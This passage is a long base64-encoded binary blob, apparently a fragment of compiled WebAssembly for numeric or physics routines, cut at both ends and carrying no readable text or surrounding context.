8oAgAgGGo2AgAgCEHIBmoiDyAPKAIAIBhqNgIAIAhBzAhqIg8gDygCACAYajYCACAIQdAKaiIPIA8oAgAgGGo2AgAgCEHUDGoiDyAPKAIAIBhqNgIAIAhB2A5qIg8gDygCACAYajYCACAIQZwOaiEPIBIgCEGgEGoiCEcNAAsMDAtBmKXBAEE2QdClwQAQyQgAC0HgpcEAQTNBlKbBABDJCAALIBNBEGopAwAhbSATKQMIIXEgFkEIakIANwAAIBZCADcAACAXQgA3AAAgF0EIakIANwAAICJBiAFqIhhBCGoiJSAiQTBqIh1BCGoiDykAADcDACAYQQ9qIhggHUEPaigAADYAACAiQfAAaiIdQQhqIhwgIkGgAWoiHkEIaikAADcDACAdQQ9qIh0gHkEPaigAADYAACAiICIpADA3A4gBICIgIikAoAE3A3AgCEGQAWpCADcCACAIQYgBakL////7////v/8ANwIAIAhBgAFqQv////sHNwIAIAhB+ABqQoCAgIDw//+/fzcCACAIQfAAakL////7////v/8ANwIAIAhB6ABqQgA3AgAgCEHgAGpCgICA/AM3AgAgCEHYAGogbTcCACAIIHE3AlAgCEGYAWpCADcCACAIQaABakEANgIAIAhBrAFqQQA6AAAgCEGkAWpC////+wc3AgAgCEHoAWoiHi0AACEnIAhBrQFqICIpA4gBNwAAIAhBtQFqICUpAwA3AAAgCEG8AWogGCgAADYAACAIQcgBakEAOgAAIAhBwAFqQv////sHNwIAIAhB2AFqIB0oAAA2AAAgCEHRAWogHCkDADcAACAIQckBaiAiKQNwNwAAIAhB8AFqQYCAgPwDNgIAIAhB7AFqQYACOwEAIB5BBzYCACAIQeQBakEAOgAAIAhB3AFqQv////sHNwIAIAhB/AFqQgA3AgAgCEH0AWpCADcCACAoKAIARQ0CIBQoAgBBADYCPCARIBEoApABIghBAyAnaWsiGGs2ApABAkAgCCAYRgRAIBEoAgAEQCARQQRqKAIAEIcBCyARQgA3AgggEUKAgICAwAA3AgAgESgCEARAIBFBFGooAgAQhwELIBFCgICAgMAANwIQIBFBGGpCADcCACARKAIgBEAgEUEkaigCABCHAQsgEUKAgICAwAA3AiAgEUEoakIANwIADAELIBIoAgAiCCAYTQ0TICIgGEECdCISIBFBBGoiJSgCAGo2AqABICIgCDYCqAEgIkEAIAggGGsiHSAIIB1JGzYCpAEgIkEwaiAiQaABahChAiARKAIABEAgJSgCABCHAQsgESAiKQMwNwIAIBFBCGogDykDADcCACAZKAIAIgggGE0NEyAiIBFBFGoiGSgCACASajYCoAEgIiAINgKoASAiQQAgCCAYayIlIAggJUkbNgKkASAiQTBqICJBoAFqEKECIBFBEGoiCCgCAARAIBkoAgAQhwELIAggIikDMDcCACAIQQhqIA8pAwA3AgAgICgCACIIIBhNDRMgIiASIBFBJGoiGSgCAGo2AqABICIgCDYCqAEgIkEAIAggGGsiEiAIIBJJGzYCpAEgIkEwaiAiQaABahChAiARQSBqIggoAgAEQCAZKAIAEIcBCyAIICIpAzA3AgAgCEEIaiAPKQMANwIACyAoKAIAIghFDQEgCEEBRg0JIBQoAgAhEgJ/IAhBhAJsIhlBiARrIiBBhAJuQQFqQQdxIghFBEAgEiIPQYQCagwBCyAIQYQCbCEIIBIhDwNAIA9BwAJqIiUgJSgCACAYazYCACAPQYQCaiEPIAhBhAJrIggNAAsgD0GEAmoLIQggIEGcDkkNCSASIBlqIRIDQCAPQcACaiIPIA8oAgAgGGs2AgAgCEHAAmoiDyAPKAIAIBhrNgIAIAhBxARqIg8gDygCACAYazYCACAIQcgGaiIPIA8oAgAgGGs2AgAgCEHMCGoiDyAPKAIAIBhrNgIAIAhB0ApqIg8gDygCACAYazYCACAIQdQMaiIPIA8oAgAgGGs2AgAgCEHYDmoiDyAPKAIAIBhrNgIAIAhBnA5qIQ8gEiAIQaAQaiIIRw0ACwwJCyAAIAJBIGoqAgAgAyAEIAUgBiAHIDkgCSAiKAIUIiggIigCGCIQICIoAiQiTCAiKAIoIAsgDCANIA5BARCSBCAiQQA2AhgCQCAQRQ0AIBBBAWtB/////wFxIRggB0EwaigCACEIIAdBLGooAgAhEiAoIQ8CQCAQQQFxRQ0AIChBCGohDyAoKAIAIhEgCE8NACASIBFBkAFsakEAIAggEUsbIhEoAgBBAUcNACARKAIEIChBBGooAgBHDQAgEUE4akEANgIACyAYRQ0AICggEEEDdGohEQNAAkAgDygCACIQIAhPDQAgEiAQQZABbGpBACAIIBBLGyIQKAIAQQFHDQAgECgCBCAPQQRqKAIARw0AIBBBOGpBADYCAAsCQCAPQQhqKAIAIhAgCE8NACASIBBBkAFsakEAIAggEEsbIhAoAgBBAUcNACAQKAIEIA9BDGooAgBHDQAgEEE4akEANgIACyARIA9BEGoiD0cNAAsLAkAgIUUNACAhQQFrQf////8BcSERIAZBJGooAgAhCCAGQSBqKAIAIRAgQiEPAkAgIUEBcUUNACBCQQhqIQ8gQigCACISIAhPDQAgECASQegBbGpBACAIIBJLGyISKAIAQQFHDQAgEigCBCBCQQRqKAIARw0AIBJBsAFqQQA2AgALIBFFDQAgQiAhQQN0aiERA0ACQCAPKAIAIhIgCE8NACAQIBJB6AFsakEAIAggEksbIhIoAgBBAUcNACASKAIEIA9BBGooAgBHDQAgEkGwAWpBADYCAAsCQCAPQQhqKAIAIhIgCE8NACAQIBJB6AFsakEAIAggEksbIhIoAgBBAUcNACASKAIEIA9BDGooAgBHDQAgEkGwAWpBADYCAAsgESAPQRBqIg9HDQALCyACKgIAIVwgIkEANgIoICJBMGoiCEEwaiACQTBqKQIANwMAIAhBIGoiDyACQSBqKQIANwMAIAhBOGogAkE4aigCADYCACAIQShqIAJBKGopAgA3AwAgCEEYaiACQRhqKQIANwMAIAhBEGogAkEQaikCADcDACAIQQhqIAJBCGopAgA3AwAgIiACKQIANwMwICIoAmQiRUEARyFNIEVBASBFGyECIAEpAgAhcSAPKgIAIWsgIioCNCFsIANBFGohSCAGQSRqIUYgA0EMaiFJIAdBLGohSgNAAkAgTSACQQFHcUUEQCAiIFw4AjBBACECIFwhWEMAAAAAIVwMAQsCfwJAIANBDGooAgAiAUUEQEEAIREMAQsgA0EIaigCACISIAFBA3RqIQ8gBkEkaigCACEIIAZBIGooAgAhEEEAIREDQCASKAIAIgEgCE8NGSAQIAFB6AFsakEAIAEgCEkbIgEoAgBBAUcNGSABKAIEIBJBBGooAgBHDRkgAUHJAWotAAAEQCABQcABaioCACFYIAFByAFqIAFBlAFqKQIAIm2nviBclCABQfwAaikCACJup76SIk4gTpQgbUIgiKe+IFyUIG5CIIinvpIiTiBOlJJDAA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cNCyABQdwBai0AAARAIAFBAToA3AEgAUGQAWpBADYCACABQYgBakIANwMAIAFB2AFqIAFB1AFqKgIAOAIACyAIIBJBCGoiEkcNAAsgA0EkaigCACEBCyABQQFrIhIgAEHkA2ooAgBLBEAgHEEANgIgIBxCgICAgMAANwMYIABB3ANqIBIgHEEYahCyASADQSRqKAIAQQFrIRILIBIgAEHwA2ooAgBLBEAgHEEANgIgIBxCgICAgMAANwMYIABB6ANqIBIgHEEYahCyASADQSRqKAIAQQFrIRILIBxBADYCECAcQoCAgIDAADcDCAJAAkACQCAAQeQDaigCACIfIBJPBEAgBUEcaigCACEBIAVBGGooAgAhGSAAQeADaigCACEUAkAgEkUNACAUIQggEkEMbCIPQQxrIhBBDG5BAWpBB3EiEgRAIBJBDGwhEgNAIAhBCGpBADYCACAIQQxqIQggEkEMayISDQALCyAQQdQASQ0AIA8gFGohDyAIQdwAaiEIA0AgCEEANgIAIAhBDGtBADYCACAIQRhrQQA2AgAgCEEka0EANgIAIAhBMGtBADYCACAIQTxrQQA2AgAgCEHIAGtBADYCACAIQdQAa0EANgIAIAhBBGohECAIQeAAaiEIIA8gEEcNAAsLIAEEQCAAQdADaiEhIBkgAUE